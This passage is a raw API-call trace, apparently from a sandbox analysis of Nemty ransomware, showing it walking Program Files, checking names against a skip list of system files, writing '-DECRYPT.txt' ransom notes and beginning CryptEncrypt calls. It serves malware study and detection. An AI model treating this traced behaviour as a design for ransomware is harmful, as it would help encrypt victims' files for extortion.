hFile=0x3bc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0051.358] CloseHandle (hObject=0x3bc) returned 1 [0051.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd2417330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2417330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34239b0 [0051.359] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.359] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd2417330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2417330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.359] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.359] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.359] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2=".") returned 1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="..") returned 1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="...") returned 1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="windows") returned -1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="$RECYCLE.BIN") returned 1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="rsa") returned -1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="NTDETECT.COM") returned -1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="ntldr") returned -1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="MSDOS.SYS") returned -1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="IO.SYS") returned -1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="boot.ini") returned 1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="boot.ini") returned 1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="AUTOEXEC.BAT") returned 1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="ntuser.dat") returned -1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="desktop.ini") returned -1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="CONFIG.SYS") returned -1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="RECYCLER") returned -1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="BOOTSECT.BAK") returned 1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="bootmgr") returned 1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="programdata") returned -1 [0051.359] lstrcmpiW (lpString1="Common Files", lpString2="appdata") returned 1 [0051.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common Files", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common Files", cchWideChar=12, lpMultiByteStr=0x653f8d0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Common Files", lpUsedDefaultChar=0x0) returned 12 [0051.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common Files", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common Files", cchWideChar=12, lpMultiByteStr=0x653f8d0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Common Files", lpUsedDefaultChar=0x0) returned 12 [0051.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.359] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0051.359] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="...") returned 1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="$RECYCLE.BIN") returned 1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="rsa") returned -1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="NTDETECT.COM") returned -1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="ntldr") returned -1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="MSDOS.SYS") returned -1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="IO.SYS") returned -1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="boot.ini") returned 1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="boot.ini") returned 1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="AUTOEXEC.BAT") returned 1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0051.360] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0051.360] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2=".") returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="..") returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="...") returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="windows") returned -1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="$RECYCLE.BIN") returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="rsa") returned -1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="NTDETECT.COM") returned -1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="ntldr") returned -1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="MSDOS.SYS") returned -1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="IO.SYS") returned -1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="boot.ini") returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="boot.ini") returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="AUTOEXEC.BAT") returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="ntuser.dat") returned -1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="desktop.ini") returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="CONFIG.SYS") returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="RECYCLER") returned -1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="BOOTSECT.BAK") returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="bootmgr") returned 1 [0051.360] lstrcmpiW (lpString1="DVD Maker", lpString2="programdata") returned -1 [0051.361] lstrcmpiW (lpString1="DVD Maker", lpString2="appdata") returned 1 [0051.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVD Maker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVD Maker", cchWideChar=9, lpMultiByteStr=0x653f8d0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVD Maker", lpUsedDefaultChar=0x0) returned 9 [0051.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVD Maker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVD Maker", cchWideChar=9, lpMultiByteStr=0x653f8d0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVD Maker", lpUsedDefaultChar=0x0) returned 9 [0051.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0051.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0051.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0051.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x4f91590 [0051.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.361] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0051.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.362] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.362] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0051.363] CloseHandle (hObject=0x3c0) returned 1 [0051.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0051.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0051.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0051.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0051.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0051.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0051.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x4f91590 [0051.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.364] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0051.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.364] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.365] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0051.365] CloseHandle (hObject=0x3c0) returned 1 [0051.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0051.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0051.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd2417330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2417330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0051.366] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.366] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd2417330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2417330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.366] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.366] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.366] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2=".") returned 1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="..") returned 1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="...") returned 1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="windows") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="$RECYCLE.BIN") returned 1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="rsa") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="NTDETECT.COM") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="ntldr") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="MSDOS.SYS") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="IO.SYS") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="boot.ini") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="boot.ini") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="AUTOEXEC.BAT") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="ntuser.dat") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="desktop.ini") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="CONFIG.SYS") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="RECYCLER") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="BOOTSECT.BAK") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="bootmgr") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="programdata") returned -1 [0051.366] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="appdata") returned 1 [0051.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="audiodepthconverter.ax", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0051.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="audiodepthconverter.ax", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodepthconverter.ax", lpUsedDefaultChar=0x0) returned 22 [0051.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0051.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="audiodepthconverter.ax", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0051.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="audiodepthconverter.ax", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodepthconverter.ax", lpUsedDefaultChar=0x0) returned 22 [0051.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0051.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="audiodepthconverter.ax", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0051.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="audiodepthconverter.ax", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodepthconverter.ax", lpUsedDefaultChar=0x0) returned 22 [0051.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="audiodepthconverter.ax", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0051.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="audiodepthconverter.ax", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodepthconverter.ax", lpUsedDefaultChar=0x0) returned 22 [0051.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f916e8 [0051.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0051.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0051.367] Sleep (dwMilliseconds=0x5) [0051.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd243d490, dwHighDateTime=0x1d561e7)) [0051.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd243d490, dwHighDateTime=0x1d561e7)) [0051.369] GetLastError () returned 0xb7 [0051.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0051.369] GetLastError () returned 0xb7 [0051.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0051.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.369] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0051.369] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0051.369] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0051.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0051.369] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: 